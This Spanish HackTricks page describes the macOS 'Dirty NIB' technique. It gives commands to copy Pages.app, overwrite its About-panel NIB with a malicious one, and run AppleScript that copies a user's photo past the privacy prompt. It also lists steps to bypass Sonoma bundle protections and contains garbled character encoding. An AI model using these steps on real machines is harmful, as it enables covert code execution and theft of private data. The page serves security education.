# macOS Dirty NIB
Aprende hacking en AWS de cero a h茅roe conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆gueme** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Esta t茅cnica fue tomada del post** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)
## Informaci贸n B谩sica
Los archivos NIB se utilizan en el ecosistema de desarrollo de Apple para **definir elementos de la interfaz de usuario (UI)** y sus interacciones dentro de una aplicaci贸n. Creados con la herramienta Interface Builder, contienen **objetos serializados** como ventanas, botones y campos de texto, que se cargan en tiempo de ejecuci贸n para presentar la UI dise帽ada. Aunque todav铆a se utilizan, Apple ha pasado a recomendar Storyboards para una representaci贸n m谩s visual del flujo de UI de una aplicaci贸n.
{% hint style="danger" %}
Adem谩s, los **archivos NIB** tambi茅n pueden usarse para **ejecutar comandos arbitrarios** y si se modifica un archivo NIB en una App, **Gatekeeper a煤n permitir谩 ejecutar la app**, por lo que pueden usarse para **ejecutar comandos arbitrarios dentro de aplicaciones**.
{% endhint %}
## Inyecci贸n Dirty NIB
Primero necesitamos crear un nuevo archivo NIB, usaremos XCode para la mayor parte de la construcci贸n. Comenzamos agregando un Objeto a la interfaz y establecemos la clase en NSAppleScript:
Para el objeto necesitamos establecer la propiedad inicial `source`, lo que podemos hacer usando Atributos de Tiempo de Ejecuci贸n Definidos por el Usuario:
Esto configura nuestro gadget de ejecuci贸n de c贸digo, que simplemente va a **ejecutar AppleScript a petici贸n**. Para activar realmente la ejecuci贸n del AppleScript, por ahora solo agregaremos un bot贸n (por supuesto, puedes ser creativo con esto ;). El bot贸n se vincular谩 al objeto `Apple Script` que acabamos de crear, e **invocar谩 el selector `executeAndReturnError:`**:
Para las pruebas, simplemente usaremos el Apple Script de:
```bash
set theDialogText to "PWND"
display dialog theDialogText
```
Y si ejecutamos esto en el depurador de XCode y presionamos el bot贸n:
Con nuestra capacidad para ejecutar c贸digo AppleScript arbitrario desde un NIB, a continuaci贸n necesitamos un objetivo. Elijamos Pages para nuestra demostraci贸n inicial, que por supuesto es una aplicaci贸n de Apple y ciertamente no deber铆a ser modificable por nosotros.
Primero haremos una copia de la aplicaci贸n en `/tmp/`:
```bash
cp -a -X /Applications/Pages.app /tmp/
```
Luego lanzaremos la aplicaci贸n para evitar cualquier problema con Gatekeeper y permitir que las cosas se almacenen en cach茅:
```bash
open -W -g -j /Applications/Pages.app
```
Despu茅s de lanzar (y matar) la aplicaci贸n por primera vez, necesitaremos sobrescribir un archivo NIB existente con nuestro archivo DirtyNIB. Para fines de demostraci贸n, vamos a sobrescribir el NIB del Panel de Acerca de para poder controlar la ejecuci贸n:
```bash
cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib
```
Una vez que hayamos sobrescrito el nib, podemos desencadenar la ejecuci贸n seleccionando el elemento del men煤 `About`:
Si observamos Pages m谩s de cerca, vemos que tiene un privilegio privado que permite el acceso a las Fotos de un usuario:
As铆 que podemos poner a prueba nuestro POC **modificando nuestro AppleScript para robar fotos** del usuario sin solicitar permiso:
{% code overflow="wrap" %}
```applescript
use framework "Cocoa"
use framework "Foundation"
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1
```
{% endcode %}
{% hint style="danger" %}
[**Ejemplo de archivo .xib malicioso que ejecuta c贸digo arbitrario.**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)
{% endhint %}
## Crea tu propio DirtyNIB
## Restricciones de Lanzamiento
B谩sicamente **impiden ejecutar aplicaciones fuera de sus ubicaciones esperadas**, as铆 que si copias una aplicaci贸n protegida por Restricciones de Lanzamiento a `/tmp` no podr谩s ejecutarla.\
[**Encuentra m谩s informaci贸n en este post**](../macos-security-protections/#launch-constraints)**.**
Sin embargo, al analizar el archivo **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`** a煤n puedes encontrar **aplicaciones que no est谩n protegidas por Restricciones de Lanzamiento** por lo que a煤n podr铆as **inyectar** archivos **NIB** en ubicaciones arbitrarias en **esas** (consulta el enlace anterior para aprender c贸mo encontrar estas aplicaciones).
## Protecciones Extra
Desde macOS Somona, hay algunas protecciones que **impiden escribir dentro de las Apps**. Sin embargo, a煤n es posible eludir esta protecci贸n si, antes de ejecutar tu copia del binario, cambias el nombre de la carpeta Contents:
1. Toma una copia de `CarPlay Simulator.app` a `/tmp/`
2. Renombra `/tmp/Carplay Simulator.app/Contents` a `/tmp/CarPlay Simulator.app/NotCon`
3. Lanza el binario `/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator` para cachear dentro de Gatekeeper
4. Sobrescribe `NotCon/Resources/Base.lproj/MainMenu.nib` con nuestro archivo `Dirty.nib`
5. Renombra a `/tmp/CarPlay Simulator.app/Contents`
6. Lanza `CarPlay Simulator.app` de nuevo
{% hint style="success" %}
Parece que esto ya no es posible porque macOS **impide modificar archivos** dentro de los paquetes de aplicaciones.\
Por lo tanto, despu茅s de ejecutar la app para cachearla con Gatekeeper, no podr谩s modificar el paquete.\
Y si cambias, por ejemplo, el nombre del directorio Contents a **NotCon** (como se indica en el exploit), y luego ejecutas el binario principal de la app para cachearlo con Gatekeeper, **se activar谩 un error y no se ejecutar谩**.
{% endhint %}
Aprende hacking en AWS de cero a h茅roe conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).